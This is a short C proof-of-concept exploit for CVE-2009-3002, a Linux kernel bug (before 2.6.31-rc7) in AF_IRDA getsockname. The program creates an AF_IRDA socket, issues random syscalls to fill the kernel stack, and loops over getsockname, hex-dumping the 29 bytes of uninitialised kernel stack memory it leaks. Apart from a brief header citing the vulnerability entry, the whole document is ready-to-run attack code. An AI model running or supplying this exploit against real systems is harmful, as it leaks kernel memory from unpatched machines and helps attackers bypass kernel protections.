Linux 2.6 Stack Disclosure

                							

                /* 
 * cve-2009-3002.c
 *
 * Linux Kernel < 2.6.31-rc7 AF_IRDA getsockname 29-Byte Stack Disclosure
 * Jon Oberheide <jon@oberheide.org>
 * http://jon.oberheide.org
 * 
 * Information:
 * 
 *   http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2009-3002 
 *
 *   The Linux kernel before 2.6.31-rc7 does not initialize certain data 
 *   structures within getname functions, which allows local users to read 
 *   the contents of some kernel memory locations by calling getsockname 
 *   on ... (2) an AF_IRDA socket, related to the irda_getname function in 
 *   net/irda/af_irda.c.
 *
 * Notes:
 * 
 *   Yet another stack disclosure...although this one is big and contiguous.
 */

#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <stdint.h>
#include <errno.h>
#include <unistd.h>
#include <time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/syscall.h>

#ifndef AF_IRDA
#define AF_IRDA 23
#endif

struct sockaddr_irda {
  uint16_t sir_family;
  uint8_t sir_lsap_sel;
  uint32_t sir_addr;
  char sir_name[25];
};

const int randcalls[] = {
  __NR_read, __NR_write, __NR_open, __NR_close, __NR_stat, __NR_lstat,
  __NR_lseek, __NR_rt_sigaction, __NR_rt_sigprocmask, __NR_ioctl,
  __NR_access, __NR_pipe, __NR_sched_yield, __NR_mremap, __NR_dup,
  __NR_dup2, __NR_getitimer, __NR_setitimer, __NR_getpid, __NR_fcntl,
  __NR_flock, __NR_getdents, __NR_getcwd, __NR_gettimeofday,
  __NR_getrlimit, __NR_getuid, __NR_getgid, __NR_geteuid, __NR_getegid,
  __NR_getppid, __NR_getpgrp, __NR_getgroups, __NR_getresuid,
  __NR_getresgid, __NR_getpgid, __NR_getsid,__NR_getpriority,
  __NR_sched_getparam, __NR_sched_get_priority_max
};

void
dump(const unsigned char *p, unsigned l)
{
  printf("sockaddr_irda:");
  while (l > 0) {
    printf(" ");
    if (l == 33 || l == 28) {
      printf("<<< ");
    }
    printf("%02x", *p);
    if (l == 33 || l == 1) {
      printf(" >>>");
    }
    ++p; --l;
  }
  printf("\n");
}

int
main(void)
{
  struct sockaddr_irda saddr;
  int ret, call, sock, len = sizeof(saddr);

  printf("[+] Creating AF_IRDA socket.\n");

  sock = socket(AF_IRDA, SOCK_DGRAM, 0);
  if (sock == -1) {
    printf("[-] Error: Couldn't create AF_IRDA socket.\n");
    printf("[-] %s.\n", strerror(errno));
    exit(1);
  }

  memset(&saddr, 0, len);

  printf("[+] Ready to call getsockname.\n\n");

  for (ret = 5; ret > 0; ret--) {
    printf("%d...\n", ret);
    sleep(1);
  }
  srand(time(NULL));

  while (1) {
    /* random stuff to make stack pseudo-interesting */
    call = rand() % (sizeof(randcalls) / sizeof(int));
    syscall(randcalls[call]);

    ret = getsockname(sock, (struct sockaddr *) &saddr, &len);
    if (ret != 0) {
      printf("[-] Error: getsockname failed.\n");
      printf("[-] %s.\n", strerror(errno));
      exit(1);
    }

    dump((unsigned char *) &saddr, sizeof(saddr));
  }

  return 0;
}


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